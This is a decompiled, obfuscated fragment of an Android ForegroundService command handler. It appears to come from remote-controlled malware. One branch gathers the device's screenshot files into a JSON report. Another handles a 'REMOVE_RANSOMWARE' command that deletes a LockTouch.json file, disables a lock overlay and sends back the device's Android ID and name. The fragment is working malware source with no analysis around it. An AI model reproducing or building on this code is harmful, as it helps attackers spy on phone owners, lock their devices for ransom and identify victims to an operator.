                ForegroundService.K(foregroundService4, "SCREENSHOT", "screenshot", 1000, "_data LIKE ?", strArr2, new OC() { // from class: o.mB
                    @Override // o.OC
                    public final Object g(Object obj62) {
                        JSONObject jSONObject142 = (JSONObject) obj62;
                        switch (i9) {
                            case 0:
                                jSONObject17.getJSONArray("stats").put(jSONObject142);
                                break;
                            case 1:
                                jSONObject17.getJSONArray("stats").put(jSONObject142);
                                break;
                            default:
                                jSONObject17.getJSONArray("stats").put(jSONObject142);
                                break;
                        }
                        return Oh0.a;
                    }
                });
                return jSONObject17.toString();
            case 22:
                IJ.H(obj);
                try {
                    File file = new File(foregroundService.getExternalFilesDir(null), "LockTouch.json");
                    boolean zDelete = file.exists() ? file.delete() : false;
                    JSONObject jSONObject18 = new JSONObject();
                    jSONObject18.put("success", true);
                    jSONObject18.put("command", "REMOVE_RANSOMWARE");
                    jSONObject18.put("overlay", "disable");
                    jSONObject18.put("file_deleted", zDelete);
                    jSONObject18.put("android_id", foregroundService.p);
                    jSONObject18.put("device_name", foregroundService.q);
                    return jSONObject18.toString();
                } catch (Exception e3) {
                    e3.getMessage();
                    String strU = AbstractC2462sn.u("Failed to remove: ", e3.getMessage());
                    boolean z6 = ForegroundService.w;
                    return foregroundService.V(strU);
                }
            case ConnectionResult.API_DISABLED /* 23 */:
                IJ.H(obj);
                try {
                    boolean z7 = ForegroundService.w;
                    foregroundService.r0();
                } catch (Exception unused2) {
                }
                return oh0;
            default:
                IJ.H(obj);
                try {
                    ForegroundService.m(foregroundService);
                } catch (Exception unused3) {
                }
                return oh0;
        }
    }
}
